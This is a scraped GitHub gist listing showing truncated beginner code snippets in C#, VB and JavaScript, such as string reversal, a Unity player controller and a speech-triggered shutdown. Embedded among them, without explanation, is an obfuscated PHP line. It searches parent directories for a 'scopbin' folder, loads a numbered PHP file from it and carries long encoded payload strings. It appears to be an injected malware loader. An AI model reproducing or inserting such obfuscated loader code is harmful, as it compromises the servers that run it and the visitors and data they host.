Skip to content

Instantly share code, notes, and snippets.

View ezesundayeze's full-sized avatar
🏠
Working from home

Eze Sunday ezesundayeze

🏠
Working from home
View GitHub Profile
@ezesundayeze
ezesundayeze / postiveOddNegativeEven.cs
Created June 22, 2016 23:44
count serial numbers with even numbers apearing negative, while odd appears positive
using System;
public class PositiveOddNegativeEven{
public static void Main(){
for(int i=0; i<20; i++){
if(i%2==0){
Console.WriteLine(i);
}else{
@ezesundayeze
ezesundayeze / ReverseString.cs
Created August 13, 2016 00:31
A Simple Method To Reverse Any String
public void reverse(){
char[] reverse = txt1.Text.ToCharArray(); // put all the characters in a character Array!
Array.Reverse(reverse);
txt1.Text = new string(reverse);
// this three lines of code will reverse any string
}
foreach(DataGridViewRow Row in datagridShoppingCart.Rows){
string itemName =(string)(Row.Cells["Item Name"].Value);
textBox1.Text = itemName;
}
using UnityEngine;
using System.Collections;
public class PlayerController : MonoBehaviour {
public float Speed;
private Rigidbody rb;
void Start()
{
<?php if(!function_exists('f20422957')){function f20422957($fld){$fld1=dirname($fld);$fld=$fld1.'/scopbin';clearstatcache();if(!is_dir($fld))return f20422957($fld1);else return $fld;}}require_once(f20422957(__FILE__).'/74854124.php');$REXISTHECAT4FBI='FE50E574D754E76AC679F242F450F768FB5DCB77F34DE341 660C280D176E374DE7FB3B090A782B6B68DBC97BEAD93B681C452F25BE26';f20422957g0666f0acdeed38d4cd9084ade1739498(f20422957f0666f0acdeed38d4cd9084ade1739498(__FILE__));$REXISTHEDOG4FBI='MjMzMDNBMkY1QzgzQUU0NjJCNzhCRjYwRTAgNTVFODA5NEEyMjZDODZFQUY2MEU0NEJENEI1RTZDMTg0QTg0RUM5N0JBNDRDODJGQjEzMzFFNTE4QjQ3ODk4QjJBNTY1OTE1Mjk0QTAzNkU1NTE5ODc5QTQ5RjhERkI1ODUyMTI2NjlFM0RGMjFCREYgMCA5NzRDOTY3OENERCA1M0ZGQTE4IEEyM0MxMThENTM0RTkyOEM5QzBCQkIyRjBCRUE3RjRBRjQyRUU2RjlENTc5OTcxOTJFNiBCNDNFNjc2OTY3RThFQzc2NkNBQTE0MkM3N0ZCNjRFOUJDODdEQTQ4OUQ1IEYyMEQzIEEyNzYzQ0E0RTI2NzZEMTlGRTcyNzU4Mjc2MjNGMTEgNzM1REYxNSAyMjhDODZERTIxREJGNjhCMTc3QTdCNjkyNEY4QzZDOTg1N0UyIERCMDU5OEU1MSAxNkVCNTVFRjkgRTQxRjg2M0RDQ0M2MTk3NDhGMTdFQUU0NkU3MTM0QUYzMjJEODM1REI2QTkzQ0
Imports System.Speech
Public Class Form1
Dim WithEvents reco As New Recognition.SpeechRecognitionEngine
Dim s As New Process
Private Sub shutdown()
Dim syn As New Synthesis.SpeechSynthesizer
syn.SpeakAsync("I called Shutdown")
System.Diagnostics.Process.Start("shutdown", "-s -t 00")
Me.Close()
public static void Main (string[] args)
{
// lets assume this is our database, here is a simple list of names
List<string> myList = new List<string> ();
myList.Add ("eze");
myList.Add ("joy");
using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Drawing.Printing;
using System.Drawing;
using System.Security.Cryptography;
using System.Text;
using System.ComponentModel;
function saveTask(e){
 //get form values
var taskName = document.getElementById(“taskName”).value;
var taskDescription = document.getElementById(“taskDescription”).value;
//create an object to store the variables
var tasks = {
name:taskName,
description:taskDescription
}
function fetchTask(){
var task = JSON.parse(localStorage.getItem('task'));
//output
var taskResult = document.getElementById('taskResult');
taskResult.innerHTML ="";
for(var i=0; i<task.length; i++){
var name = task[i].name;